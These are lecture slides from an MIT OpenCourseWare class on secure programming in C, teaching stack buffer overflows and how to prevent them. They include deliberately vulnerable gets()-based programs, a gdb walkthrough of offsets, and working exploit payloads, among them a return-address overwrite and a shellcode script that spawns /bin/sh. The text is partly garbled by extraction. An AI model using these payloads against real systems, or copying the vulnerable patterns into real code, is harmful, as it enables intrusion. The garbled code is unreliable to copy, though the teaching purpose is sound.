Lecture 3: Secure Programming In C - MIT OpenCourseWare

Secure Programming in CLef IoannidisMIT EECSLef IoannidisHow to secure your stack for fun and profitMIT EECS1

IntroductionsMeJunior at MIT, course 6.2. Interested in Computer Security,Operating Systems, Distributed Computing and SystemAdministration.YouComputer programmers with knowledge in C and Systems,can read assembly, interested in writing secure code.Lef IoannidisHow to secure your stack for fun and profitMIT EECS2

Vulnerability statistics over the years (NIST)Image is in the public domain. Courtesy of National Institute of Standards and Technology (NIST).Lef IoannidisHow to secure your stack for fun and profitMIT EECS3

Lecture RoadmapWhat we will cover:Example attacks and exploits.C-specific prevention & mitigation.System-wide prevention & mitigation.Target: GNU/Linux systems.CC: GCC 4.4.Lef IoannidisHow to secure your stack for fun and profitMIT EECS4

Case study: the notorious buffer overflowA buffer overflow example.AB0 0 0 0 0 0 0 0 0 3“excessive”AA‘e’ ‘x’ ‘c’ ‘e’ ‘s’ ‘s’B‘i’ ‘v’ ‘e’0Image by MIT OpenCourseWare.Lef IoannidisHow to secure your stack for fun and profitMIT EECS5

Memory Management: LinuxCourtesy of Gustavo Duarte. Used with permission.http://duartes.org/gustavo/blog/Lef IoannidisHow to secure your stack for fun and profitMIT EECS6

Vulnerable code1#i n c l u d e s t r i n g . h 23#d e f i n e g o o d P a s s ”GOODPASS”4567i n t main ( ) {c h a r p a s s I s G o o d 0 ;char buf [ 8 0 ] ;8p r i n t f ( ” E n t e r p a s s w o r d : \ n” ) ;gets ( buf ) ;91011i f ( s t r c m p ( buf , g o o d P a s s ) 0)p a s s I s G o o d 1 ;i f ( p a s s I s G o o d 1 )p r i n t f ( ”You win ! \ n” ) ;1213141516}Lef IoannidisHow to secure your stack for fun and profitMIT EECS7

Our first exploit/bin/bash python -c " print ’x’*80 ’\x01’ " ./test1Enter password:You win! courierLef IoannidisHow to secure your stack for fun and profitMIT EECS8

Our first exploit/bin/bash python -c " print ’x’*80 ’\x01’ " ./test1Enter password:You win! courierLine 10: gets(buf);“Never use gets().” - GNU Man pages(3), gets()Lef IoannidisHow to secure your stack for fun and profitMIT EECS9

Secure version of previous code12#i n c l u d e s t r i n g . h #i n c l u d e s t d i o . h 345#d e f i n e g o o d P a s s ”GOODPASS”#d e f i n e STRSIZE 806789i n t main ( ) {c h a r p a s s I s G o o d 0 ;c h a r b u f [ STRSIZE 1] ;10p r i n t f ( ” E n t e r p a s s w o r d : \ n” ) ;f g e t s ( buf , STRSIZE , s t d i n ) ;111213i f ( s t r n c m p ( buf , goodPass , STRSIZE) 0)p a s s I s G o o d 1 ;i f ( p a s s I s G o o d 1 )p r i n t f ( ”You win ! \ n” ) ;1415161718}Lef IoannidisHow to secure your stack for fun and profitMIT EECS10

The stack: Linux0xBFFFFDBCint yFunction B’s stack frameint xSaved EBPSaved EIP (points to a location in function A)function B argument 1 (int a)function B argument 2 (int b)Function A’s stack frameint cSaved EBPSaved EIP (points to a location in main)function A argument 1 (int p)Main’s stack framefunction A argument 2 (int q)int retSaved EBPSaved EIP (points to a location in libc start main)int argcchar**argv0xBFFFFE00char**envplibc start main() stuff.Stack baseImage by MIT OpenCourseWare.Dowd, McDonald, Schuh-The art of software security assesment,fig: 5.3Lef IoannidisHow to secure your stack for fun and profitMIT EECS11

Stack frames: CHow functions are pushed in the stack:1234void function ( int a , int b , int c ) {char buffer1 [ 5 ] ;char buffer2 [ 1 0 ] ;}5678v o i d main ( ) {function (1 ,2 ,3) ;} Gordon Lyon. All rights reserved. This content is excluded from our Creative Commonslicense. For more information, see http://ocw.mit.edu/help/faq-fair-use/.Aleph One - Smashing the stack for fun and profitLef IoannidisHow to secure your stack for fun and profitMIT EECS12

Stack frames: x86 assembly12345678910111213141516171819function :pushlmovlsublleaveret.size. g l o b l main.typemain :pushlmovlsublmovlmovlmovlcallleaveret%ebp%esp , %ebp 16 , %e s pf u n c t i o n , . f u n c t i o nmain , @ f u n c t i o n%ebp%esp , %ebp 12 , %e s p 3 , 8(% e s p ) 2 , 4(% e s p ) 1 , (% e s p )functionLef IoannidisHow to secure your stack for fun and profitMIT EECS13

Stack operations to call function12345sublmovlmovlmovlcall 12 , %e s p 3 , 8(% e s p ) 2 , 4(% e s p ) 1 , (% e s p )function3 sizeof(int) 12 bytes.Note: The arguments are in reverse order because the Linuxstack grows down.Call will push the IP in the stack.Lef IoannidisHow to secure your stack for fun and profitMIT EECS14

Stack operations to call function12345sublmovlmovlmovlcall 12 , %e s p 3 , 8(% e s p ) 2 , 4(% e s p ) 1 , (% e s p )function1234function :p u s h l %ebpmovl %esp , %ebps u b l 16 , %e s pPushes the base pointer (EBP) in the stack, now it’s a savedframe pointer (SFP).Moves the stack pointer (ESP) in EBP, substituting theprevious address.Subtracts space for the local variables from ESP.Lef IoannidisHow to secure your stack for fun and profitMIT EECS15

Smashing the stackUsing buffer overflow to overwrite a return address.Stack framepointerPass bigbufferHand-craftedcodePointerto startof bufferbuffSFPParameterstrRetstrStack afterattackLocal variable buffExecute from here on function return!Function’s returnaddressImages by MIT OpenCourseWare.Lef IoannidisHow to secure your stack for fun and profitMIT EECS16

Cool exercise: stack4.c123i n t main ( ) {int cookie ;char buf [ 8 0 ] ;4p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ;gets ( buf ) ;567i f ( c o o k i e 0 x 000a0d00 )p r i n t f ( ” you win ! \ n” ) ;8910} Gera at Core SECURITY TECHNOLOGIES Community. All rights reserved. This content is excluded from our CreativeCommons license. For more information, see unity.corest.com/ gera/InsecureProgramming/"Lef IoannidisHow to secure your stack for fun and profitMIT EECS17

Cool exercise: stack4.c123i n t main ( ) {int cookie ;char buf [ 8 0 ] ;4p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ;gets ( buf ) ;567i f ( c o o k i e 0 x 000a0d00 )p r i n t f ( ” you win ! \ n” ) ;8910}Still uses gets(), so it is vulnerable to buffer overflow.0x000a0d00 { NULL, new line, carriage return, NULL }Impossible to write 0x000a0d00 to cookie because all thesebytes trigger gets() to stop reading characters.We need to redirect program flow to printf(“You win\n”);Lef IoannidisHow to secure your stack for fun and profitMIT EECS18

Overwriting the EIP123i n t main ( ) {int cookie ;char buf [ 8 0 ] ;4p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ;gets ( buf ) ;567i f ( c o o k i e 0 x 000a0d00 )p r i n t f ( ” you win ! \ n” ) ;8910}When a function is called it imediatelly pushes the EIP intothe stack (SFP).After it is complete a ret instruction pops the stack andmoves SFP back to EIP.Trick: Overwrite the SFP, while it’s in the stack.Lef IoannidisHow to secure your stack for fun and profitMIT EECS19

Exploiting stack#4.c/bin/bash gdb stack4(gdb) rStarting program: stack4buf: bffff58c cookie: aaaaaaaaaa.Program received signal SIGSEGV, Segmentation fault.0x61616161 in ? () courierEIP is overwritten! 0x61616161 “aaaa”Lef IoannidisHow to secure your stack for fun and profitMIT EECS20

Now let’s disassemble main()12345678910111213141516171819200 x080484240 x080484250 x080484270 x0804842a0 x0804842d0 x080484310 x080484350 x080484390 x0804843d0 x080484440 x080484490 x0804844d0 x080484500 x080484550 x080484590 x0804845e0 x080484600 x080484670 x0804846c0 x0804846d main 0 : push main 1 : mov main 3 : and main 6 : s u b main 9 : l e a main 13 : mov main 17 : l e a main 21 : mov main 25 : movl main 32 : c a l l main 37 : l e a main 41 : mov main 44 : c a l l main 49 : mov main 53 : cmp main 58 : j n e main 60 : movl main 67 : c a l l main 72 : l e a v e main 73 : r e tLef IoannidisHow to secure your stack for fun and profit%ebp%esp ,% ebp 0 x f f f f f f f 0 ,% e s p 0x70 ,% e s p0 x 6 c(% e s p ) ,% e a x%eax , 0 x8(% e s p )0 x 1 c(% e s p ) ,% e a x%eax , 0 x4(% e s p ) 0x8048530 ,(% e s p )0 x8048350 p r i n t f @ p l t 0 x 1 c(% e s p ) ,% e a x%eax ,(% e s p )0 x8048330 g e t s @ p l t 0 x 6 c(% e s p ) ,% e a x 0xa0d00 ,% e a x0 x 8 0 4 8 4 6 c main 72 0x8048548 ,(% e s p )0 x8048360 p u t s @ p l t MIT EECS21

Registers/bin/gdb stack4(gdb) b *0x0804846d(gdb) rStarting program: stack4buf: bffff58c cookie: bffff5dcaaaaaaaaaaaaaaaaBreakpoint 1, 0x0804846d in main () at stack4.c:13(gdb) info registerseax0xb7fc8ff4 -1208184844ecx0xbffff58c -1073744500edx0xb7fca334 -1208179916ebx0xb7fc8ff4 -1208184844esp0xbffff5ec 0xbffff5ecebp0xbffff668 0xbffff668esi0x0 0edi0x0 0eip0x804846d 0x804846d main 73 courierLef IoannidisHow to secure your stack for fun and profitMIT EECS22

We have everything we needbuf: bffff58cesp: 0xbffff5ec 0xbffff5ec12340 x080484590 x0804845e0 x080484600 x08048467 main 53 : main 58 : main 60 : main 67 :cmpjnemovlcall 0xa0d00 ,% e a x0 x 8 0 4 8 4 6 c main 72 0x8048548 ,(% e s p )0 x8048360 p u t s @ p l t 0xbffff5ec 0xbffff58c 0x00000060 96 bytes we need to overflow.Jump to: 0x08048460Linux Reverse stack \x60\x84\x04\x08Lef IoannidisHow to secure your stack for fun and profitMIT EECS23

Payload: Control Flow Redirection/bin/bash python -c ’’print ’a’ * 96 ’\x60\x84\x04\x08’ ’’ ./test1buf: bffff58c cookie: bffff5dcyou win!Segmentation fault courierLef IoannidisHow to secure your stack for fun and profitMIT EECS24

Payload: Getting shellexploit.py#!/usr/bin/env pythonshellcode f\xff/bin/sh’courierprint shellcode ’\x90’ * 51 ’\x5c\xb3\x04\x08’/bin/bash - Got shell! python exploit.py ./stack4buf: bffff58c cookie: bffff5dc courierLef IoannidisHow to secure your stack for fun and profitMIT EECS25

Other Attacks- Off-by-one exploitsCommon programming mistake when computing array boundaries.In little endian architectures this can result in overwriting the leastsignificant byte.Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc.Lef IoannidisHow to secure your stack for fun and profitMIT EECS26

Other Attacks- Return-to-libcSimilar in principal to a buffer overflow but instead of executingarbitrary shellcode you call functions from libc.so.Works when a noexec stack is enforced.Lef IoannidisHow to secure your stack for fun and profitMIT EECS27

Other Attacks- Heap OverflowTaking advantage of libc bugs to take over dynamicaly allocatedmemory, or even the memory allocator itself. Many 0-day exploitsnowdays are heap overflows.He who controls the allocator, controls the system! - AnonymousLef IoannidisHow to secure your stack for fun and profitMIT EECS28

More informationThe Phrack magazine. (http://www.phrack.org)The Defcon Conference. (http://www.defcon.org)LL CTF, MIT SEC seminars.Next: C-specific prevention & mitigationLef IoannidisHow to secure your stack for fun and profitMIT EECS29

Secure your code: CERT secure coding standardsLogo for CERT Software Engineering Institute, Carnegie Mellon removed due to copyright restrictions.Standards for C, C and Java (some still underdevelopment).Managed string library.Real world examples of insecure code.Lef IoannidisHow to secure your stack for fun and profitMIT EECS30

Learning by the coutner-example of othersBad code examples will help you learn how to write secure codeand prevent:Security HolesUndefined beheaviourObscurityErrorsLef IoannidisHow to secure your stack for fun and profitMIT EECS31

String null termination errors#1123i n t main ( i n t a r g c , c h a r a r g v [ ] ) {char cmdline [4096] ;c m d l i n e [ 0 ] ’ \0 ’ ;4f o r ( i n t i 1 ; i a r g c ; i ) {s t r c a t ( cmdline , argv [ i ] ) ;s t r c a t ( cmdline , ” ” ) ;}/ . . . /return 0 ;567891011}Lef IoannidisHow to secure your stack for fun and profitMIT EECS32